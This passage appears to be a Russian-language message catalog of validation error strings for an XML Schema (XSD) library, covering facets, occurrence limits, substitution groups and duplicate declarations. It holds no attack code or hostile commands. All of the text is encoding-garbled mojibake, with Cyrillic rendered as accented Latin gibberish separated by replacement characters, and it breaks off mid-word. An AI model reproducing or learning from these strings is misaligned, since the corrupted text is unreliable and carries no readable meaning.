Ñ€Đ°ÑÑˆĐ¸Ñ„Ñ€Đ¾Đ²Đ°Ñ‚ÑŒ %(obj)r Đ´Đ°Đ½Đ½Ñ‹Đµ Ñ %(decoder)r�Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Ñ€Đ°ÑÑˆĐ¸Ñ€Đ¸Ñ‚ÑŒ ĐºĐ¾Đ¼Đ¿Đ»ĐµĐºÑĐ½Ñ‹Đ¹ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚ Ñ xs:all�Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Ñ€Đ°ÑÑˆĐ¸Ñ€Đ¸Ñ‚ÑŒ Đ½Đµ Đ¿ÑƒÑÑ‚ÑƒÑ Đ³Ñ€ÑƒĐ¿Đ¿Ñƒ 'all' Đ¾Ñ‚Đ»Đ¸Ñ‡Đ°ÑÑ‰ĐµĐ¹ÑÑ Đ¼Đ¾Đ´ĐµĐ»ÑŒÑ�Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Ñ€Đ°ÑÑˆĐ¸Ñ€Đ¸Ñ‚ÑŒ Đ¿ÑƒÑÑ‚Đ¾Đ¹ ÑĐ¼ĐµÑˆĐ°Đ½Đ½Ñ‹Đ¹ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚ Ñ xs:all�Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Ñ€Đ°ÑÑˆĐ¸Ñ€Đ¸Ñ‚ÑŒ Đ³Ñ€ÑƒĐ¿Đ¿Ñƒ xs:all Ñ Đ¿ÑƒÑÑ‚Ñ‹Đ¼ ÑĐ¼ĐµÑˆĐ°Đ½Đ½Ñ‹Đ¼ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ¾Đ¼�Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Đ¸Đ¼Đ¿Đ¾Ñ€Ñ‚Đ¸Ñ€Đ¾Đ²Đ°Ñ‚ÑŒ ÑÑ…ĐµĐ¼Ñƒ-Ñ…Đ°Đ¼ĐµĐ»ĐµĐ¾Đ½: %s�Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Đ¸Đ¼Đ¿Đ¾Ñ€Ñ‚Đ¸Ñ€Đ¾Đ²Đ°Ñ‚ÑŒ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ {0!r}: {1}�Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ²ĐºĐ»ÑÑ‡Đ°Ñ‚ÑŒ ÑÑ…ĐµĐ¼Ñƒ {0!r}: {1}�Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»Đ¸Ñ‚ÑŒ ÑÑ…ĐµĐ¼Ñƒ {0!r}: {1}�Đ½ĐµĐ»ÑŒĐ·Ñ ÑƒĐºĐ°Đ·Ñ‹Đ²Đ°Ñ‚ÑŒ Đ¾Đ´Đ½Đ¾Đ²Ñ€ĐµĐ¼ĐµĐ½Đ½Đ¾ 'length' и 'maxLength'�Đ½ĐµĐ»ÑŒĐ·Ñ ÑƒĐºĐ°Đ·Ñ‹Đ²Đ°Ñ‚ÑŒ Đ¾Đ´Đ½Đ¾Đ²Ñ€ĐµĐ¼ĐµĐ½Đ½Đ¾ 'length' и 'minLength'�Đ½ĐµĐ»ÑŒĐ·Ñ ÑƒĐºĐ°Đ·Ñ‹Đ²Đ°Ñ‚ÑŒ Đ¾Đ´Đ½Đ¾Đ²Ñ€ĐµĐ¼ĐµĐ½Đ½Đ¾ 'maxInclusive' и 'maxExclusive'�Đ½ĐµĐ»ÑŒĐ·Ñ ÑƒĐºĐ°Đ·Ñ‹Đ²Đ°Ñ‚ÑŒ Đ¾Đ´Đ½Đ¾Đ²Ñ€ĐµĐ¼ĐµĐ½Đ½Đ¾ 'minInclusive' и 'minExclusive'�Đ½ĐµĐ»ÑŒĐ·Ñ Đ¸ÑĐ¿Đ¾Đ»ÑŒĐ·Đ¾Đ²Đ°Ñ‚ÑŒ абÑÑ‚Ñ€Đ°ĐºÑ‚Đ½Ñ‹Đ¹ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ Đ´Đ»Ñ Đ¿Ñ€Đ¾Đ²ĐµÑ€ĐºĐ¸�Đ½ĐµĐ»ÑŒĐ·Ñ Đ¸ÑĐ¿Đ¾Đ»ÑŒĐ·Đ¾Đ²Đ°Ñ‚ÑŒ xs:anyAtomicType Đ² ĐºĐ°Ñ‡ĐµÑÑ‚Đ²Đµ Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ° Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ÑĐµĐ¼Đ¾Đ³Đ¾ Đ¿Đ¾Đ»ÑŒĐ·Đ¾Đ²Đ°Ñ‚ĐµĐ»ĐµĐ¼ Ñ‚Đ¸Đ¿Đ°�Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Đ¿Ñ€Đ¾Đ²ĐµÑ€Đ¸Ñ‚ÑŒ xs:NOTATION Đ½Đ°Đ¿Ñ€ÑĐ¼ÑƒÑ, Ñ‚Đ¾Đ»ÑŒĐºĐ¾ Ñ‡ĐµÑ€ĐµĐ· Đ¿Đ¾Đ´Ñ‚Đ¸Đ¿ Ñ Đ¿ĐµÑ€ĐµÑ‡Đ¸ÑĐ»ĐµĐ½Đ¸ĐµĐ¼�ÑĐ¸Đ¼Đ²Đ¾Đ»ÑŒĐ½Ñ‹Đµ Đ´Đ°Đ½Đ½Ñ‹Đµ Đ¼ĐµĐ¶Đ´Ñƒ Đ´Đ¾Ñ‡ĐµÑ€Đ½Đ¸Đ¼Đ¸ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°Đ¼Đ¸ Đ½Đµ Đ´Đ¾Đ¿ÑƒÑĐºĐ°ÑÑ‚ÑÑ�ÑĐ¸Đ¼Đ²Đ¾Đ»ÑŒĐ½Ñ‹Đµ Đ´Đ°Đ½Đ½Ñ‹Đµ Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Ñ‹, Đ¿Đ¾Ñ‚Đ¾Đ¼Ñƒ Ñ‡Ñ‚Đ¾ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đµ Đ¿ÑƒÑÑ‚Đ¾�Đ¾Đ±Đ½Đ°Ñ€ÑƒĐ¶ĐµĐ½Đ¾ Ñ†Đ¸ĐºĐ»Đ¸Ñ‡ĐµÑĐºĐ¾Đµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ Đ¼ĐµĐ¶Đ´Ñƒ {0!r} и {1!r}�Ñ†Đ¸ĐºĐ»Đ¸Ñ‡ĐµÑĐºĐ¾Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ Đ½Đ°Đ¹Đ´ĐµĐ½Đ¾ Đ´Đ»Ñ Ñ‚Đ¸Đ¿Đ° {!r}�Ñ†Đ¸ĐºĐ»Đ¸Ñ‡ĐµÑĐºĐ¾Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ Đ½Đ°Đ¹Đ´ĐµĐ½Đ¾ Đ² xs:union type {!r}�Ñ†Đ¸ĐºĐ»Đ¸Ñ‡ĐµÑĐºĐ¾Đµ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ Đ´Đ»Ñ {0} {1!r}�Đ¾Đ±Đ½Đ°Ñ€ÑƒĐ¶ĐµĐ½Đ° Ñ†Đ¸ĐºĐ»Đ¸Ñ‡Đ½Đ¾Ñть Đ´Đ»Ñ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ Đ·Đ°Đ¼ĐµÑ‰ĐµĐ½Đ¸Ñ Ñ Đ³Đ¾Đ»Đ¾Đ²Đ½Ñ‹Đ¼ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ¼ {}�Đ¾Đ±Đ½Đ°Ñ€ÑƒĐ¶ĐµĐ½Đ° Đ·Đ°Ñ†Đ¸ĐºĐ»ĐµĐ½Đ½Đ¾Ñть substitutionGroup %r�Ñ‚Đ¸Đ¿ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ° Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸ĐµĐ¼ Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ°�Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Đ¼ Đ¾Ñ‚ {!r}�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ Đ¿Đ¾ ÑƒĐ¼Đ¾Đ»Ñ‡Đ°Đ½Đ¸Ñ {!r} ÑƒĐ¶Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»Ñ‘Đ½ Đ² ÑĐ»Đ¾Đ¶Đ½Đ¾Đ¼ Ñ‚Đ¸Đ¿Đµ�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ¿Đ¾ ÑƒĐ¼Đ¾Đ»Ñ‡Đ°Đ½Đ¸Ñ {!r} Đ½ĐµÑĐ¾Đ²Đ¼ĐµÑÑ‚Đ¸Đ¼Đ¾ Ñ Ñ‚Đ¸Đ¿Đ¾Đ¼ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ°�defaultAttributes={0!r} Đ½Đµ ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²ÑƒÑÑ‚ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ°Đ¼ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ {1!r}�defaultOpenContent Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ´Đ¾Ñ‡ĐµÑ€Đ½Đ¸Đ¼ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ¼ ÑÑ…ĐµĐ¼Ñ‹�Đ¿Đ¾Đ»ÑƒÑ‡ĐµĐ½Đ¸Đµ %r Đ·Đ°Đ±Đ»Đ¾ĐºĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ¾ Ñ‚ĐµĐ³Đ¾Đ¼ 'final' Đ² Đ±Đ°Đ·Đ¾Đ²Đ¾Đ¼ Ñ‚Đ¸Đ¿Đµ�Đ¿Đ¾Đ»ÑƒÑ‡ĐµĐ½Đ¸Đµ ÑĐ¼ĐµÑˆĐ°Đ½Đ½Đ¾Đ³Đ¾ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ° Đ¾Ñ‚ Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ°, Đ² ĐºĐ¾Ñ‚Đ¾Ñ€Đ¾Đ¼ Ñ‚Đ¾Đ»ÑŒĐºĐ¾ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Ñ‹�Đ´ÑƒĐ±Đ»Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ°Ñ attributeGroup {!r}�Đ´ÑƒĐ±Đ»Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Đ¸Đ´ĐµĐ½Ñ‚Đ¸Ñ„Đ¸ĐºĐ°Ñ†Đ¸Đ¸ %r:�Đ´ÑƒĐ±Đ»Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ simpleType�Đ´ÑƒĐ±Đ»Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {0!r} Đ´Đ»Ñ {1!r}�Đ´ÑƒĐ±Đ»Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ xs:ID {!r}�Đ´Đ¸Đ½Đ°Đ¼Đ¸Ñ‡ĐµÑĐºĐ°Ñ Đ·Đ°Đ³Ñ€ÑƒĐ¶ĐµĐ½Đ½Đ°Ñ ÑÑ…ĐµĐ¼Đ° Đ¸Đ·Đ¼ĐµĐ½ÑĐµÑ‚ Đ¾Ñ†ĐµĐ½ĐºÑƒ�ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ Đ½Đµ nillable�ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ {!r} здеÑÑŒ Đ·Đ°Đ¿Ñ€ĐµÑ‰ĐµĐ½�Đ´Đ»Ñ ĐºĐ¾Đ´Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ¸Ñ Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ Ñ…Đ¾Ñ‚Ñ Đ±Ñ‹ Đ¾Đ´Đ½Đ¾ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ° XSD�Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Đ¸Đ¼ĐµĐµÑ‚ ÑĐ¼ĐµÑˆĐ°Đ½Đ½Đ¾Đµ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đµ, Đ½Đ¾ база ÑĐ¾ÑÑ‚Đ¾Đ¸Ñ‚ Ñ‚Đ¾Đ»ÑŒĐºĐ¾ из ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ²�Đ³Ñ€ÑƒĐ¿Đ¿Đ° Đ½Đ°Đ±Đ¾Ñ€Đ¾Đ² Đ´Đ¾Đ»Đ¶Đ½Đ° Đ¸Đ¼ĐµÑ‚ÑŒ Đ¾Đ´Đ¸Đ½ и Ñ‚Đ¾Ñ‚ же Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿: %r�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đ°Đ±Đ¾Ñ€Đ° Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Ñ‚Đ¾Đ»ÑŒĐºĐ¾ 'collapse'�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đ°Đ±Đ¾Ñ€Đ° Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Ñ‚Đ¾Đ»ÑŒĐºĐ¾ 'replace' или 'collapse'�Đ½Đ°Đ±Đ¾Ñ€Ñ‹ Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Ñ‹ Đ´Đ»Ñ Đ¿Ñ€ÑĐ¼Đ¾Đ³Đ¾ Đ½Đ°ÑĐ»ĐµĐ´Đ¾Đ²Đ°Đ½Đ¸Ñ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ° Đ¾Ñ‚ xs:anySimpleType�Đ½Đ°Đ±Đ¾Ñ€Ñ‹ Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Ñ‹ Đ´Đ»Ñ Đ¿Ñ€ÑĐ¼Đ¾Đ³Đ¾ Đ½Đ°ÑĐ»ĐµĐ´Đ¾Đ²Đ°Đ½Đ¸Ñ Đ¾Ñ‚ xs:anySimpleType�Đ½ĐµÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²Đ¸Đµ Đ¿Đ¾Đ»Ñ Đ¼ĐµĐ¶Đ´Ñƒ {0!r} и {1!r}�Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {!r} Đ½ĐµÑĐ¾Đ²Đ¼ĐµÑÑ‚Đ¸Đ¼Đ¾ Ñ Ñ‚Đ¸Đ¿Đ¾Đ¼ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ°�Đ½Đ°Đ±Đ¾Ñ€ fractionDigits Đ¼Đ¾Đ¶Đ½Đ¾ Đ¿Ñ€Đ¸Đ¼ĐµĐ½Ñть Ñ‚Đ¾Đ»ÑŒĐºĐ¾ Đº Ñ‚Đ¸Đ¿Đ°Đ¼, Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Đ¼ Đ¾Ñ‚ xs:decimal�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đ°Đ±Đ¾Ñ€Đ° FractionDigits Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Ñ Đ½Đ°Đ±Đ¾Ñ€Đ° totalDigits�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đ°Đ±Đ¾Ñ€Đ° fractionDigits Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ 0 Đ´Đ»Ñ Ñ‚Đ¸Đ¿Đ¾Đ², Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Ñ… Đ¾Ñ‚ xs:integer�Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Ñ‹Đ¹ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ Đ½Đµ ÑĐ¾Đ·Đ´Đ°ĐµÑ‚ÑÑ!�Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ°Ñ Đ³Ñ€ÑƒĐ¿Đ¿Đ° Đ½Đµ ÑĐ¾Đ·Đ´Đ°ĐµÑ‚ÑÑ!�Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ°Ñ ĐºĐ°Ñ€Ñ‚Đ° Đ¸Đ¼ĐµĐµÑ‚ Đ½ĐµÑĐ¾Đ±Ñ€Đ°Đ½Đ½Ñ‹Đµ ĐºĐ¾Đ¼Đ¿Đ¾Đ½ĐµĐ½Ñ‚Ñ‹: %r�Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ {!r} Đ½Đµ ÑĐ¾Đ·Đ´Đ°ĐµÑ‚ÑÑ�Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Ñ‹Đ¹ {0} Ñ name={1!r} ÑƒĐ¶Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½�Đ³Đ¾Đ»Đ¾Đ²Đ½Đ¾Đ¹ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ %r Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ·Đ°Đ¼ĐµĐ½ĐµĐ½ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ¼, Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Đ¼ Đ¾Ñ‚ ĐµĐ³Đ¾ Ñ‚Đ¸Đ¿Đ°�Đ³Đ¾Đ»Đ¾Đ²Đ½Đ¾Đ¹ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ %r Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ·Đ°Đ¼ĐµĐ½ĐµĐ½ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ¼, ĐºĐ¾Ñ‚Đ¾Ñ€Ñ‹Đ¹ Đ¸Đ¼ĐµĐµÑ‚ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Ñ Đ¾Ñ‚ ĐµĐ³Đ¾ Ñ‚Đ¸Đ¿Đ°�Đ³Đ¾Đ»Đ¾Đ²Đ½Đ¾Đ¹ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ %r Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ·Đ°Đ¼ĐµĐ½ĐµĐ½ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ¼, Ñ€Đ°ÑÑˆĐ¸Ñ€ÑÑÑ‰Đ¸Đ¼ ĐµĐ³Đ¾ Ñ‚Đ¸Đ¿�еÑли Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'namespace' Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ² Đ¾Đ¿ĐµÑ€Đ°Ñ‚Đ¾Ñ€Đµ Đ¸Đ¼Đ¿Đ¾Ñ€Ñ‚Đ°, Ñ‚Đ¾ Đ¸Đ¼Đ¿Đ¾Ñ€Ñ‚Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ°Ñ ÑÑ…ĐµĐ¼Đ° Đ´Đ¾Đ»Đ¶Đ½Đ° Đ¸Đ¼ĐµÑ‚ÑŒ 'targetNamespace'�Đ¸Đ¼Đ¿Đ¾Ñ€Ñ‚Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ°Ñ ÑÑ…ĐµĐ¼Đ° {0!r} Đ¸Đ¼ĐµĐµÑ‚ Đ½ĐµĐ¾Đ¿Đ¾Đ·Đ½Đ°Đ½Đ½Đ¾Đµ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ {1!r}�XSD 1.0 Đ½Đµ Đ¿Đ¾Đ·Đ²Đ¾Đ»ÑĐµÑ‚ Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ¸Ñ Đ½Đµ Đ¿ÑƒÑÑ‚Đ¾Đ¹ 'all' Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹�Đ² Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đ¸ ÑÑÑ‹Đ»ĐºĐ° Đ½Đ° ÑĐµĐ±Ñ Đ´Đ¾Đ»Đ¶Đ½Đ° Đ±Ñ‹Ñ‚ÑŒ Đ¿ĐµÑ€Đ²Đ¾Đ¹�Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Đ¾Đµ Đ²Ñ‹Ñ€Đ°Đ¶ĐµĐ½Đ¸Đµ XPath Đ´Đ»Ñ {}�Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° vc:maxVersion�Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° vc:minVersion�Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Đ¾Ñ‚ {!r}�Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ: Đ±Đ°Đ·Đ¾Đ²Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ¼ĐµĐ½ÑŒÑˆĐµ ({})�Đ½ĐµĐ²ĐµÑ€Đ½Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ: {}�Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ: {} Ñ‚Đ°ĐºĐ¶Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¼Đ°ĐºÑĐ¸Đ¼Đ°Đ»ÑŒĐ½Ñ‹Đ¼�Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ: {} Ñ‚Đ°ĐºĐ¶Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¼Đ¸Đ½Đ¸Đ¼Đ°Đ»ÑŒĐ½Ñ‹Đ¼�Đ½ĐµĐ²ĐµÑ€Đ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ {!r}�Đ½ĐµĐ²ĐµÑ€Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {!r}�Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ ĐºĐ»ÑÑ‡Đ°/ÑƒĐ½Đ¸ĐºĐ°Đ»ÑŒĐ½Đ¾Đ³Đ¾ ÑƒĐ´Đ¾ÑÑ‚Đ¾Đ²ĐµÑ€ĐµĐ½Đ¸Ñ %r Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚�Đ´Đ»Đ¸Đ½Đ° Đ´Đ¾Đ»Đ¶Đ½Đ° Đ±Ñ‹Ñ‚ÑŒ {!r}�Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Ñ‹Đµ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Ñ‹ Đ½Đµ Đ¼Đ¾Đ³ÑƒÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ абÑÑ‚Ñ€Đ°ĐºÑ‚Đ½Ñ‹Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Ñ‹�maxOccurs Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ 'unbounded' или Đ±Đ¾Đ»ÑŒÑˆĐµ Ñ‡ĐµĐ¼ minOccurs�maxOccurs Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Ñ€Đ°Đ²ĐµĐ½ (0 | 1) Đ´Đ»Ñ Đ³Ñ€ÑƒĐ¿Đ¿ Đ¼Đ¾Đ´ĐµĐ»ĐµĐ¹ 'all'�maxOccurs Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Ñ€Đ°Đ²ĐµĐ½ 1 Đ´Đ»Ñ Đ³Ñ€ÑƒĐ¿Đ¿ Đ¼Đ¾Đ´ĐµĐ»ĐµĐ¹ 'all'�minOccurs Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¿Đ¾Đ»Đ¾Đ¶Đ¸Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼ или 'unbounded'�Đ¼ĐµÑ‚Đ°ÑÑ…ĐµĐ¼Đ° Đ½ĐµĐ´Đ¾ÑÑ‚ÑƒĐ¿Đ½Đ° Đ´Đ»Ñ %r�minOccurs Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ (0 | 1) Đ´Đ»Ñ Đ³Ñ€ÑƒĐ¿Đ¿ Đ¼Đ¾Đ´ĐµĐ»ĐµĐ¹ 'all'�minOccurs Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ или Ñ€Đ°Đ²Đ½Đ¾ maxOccurs�minOccurs Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¾Ñ‚Ñ€Đ¸Ñ†Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼�minOccurs Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¾Ñ‚Ñ€Đ¸Ñ†Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ 'selector'�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ 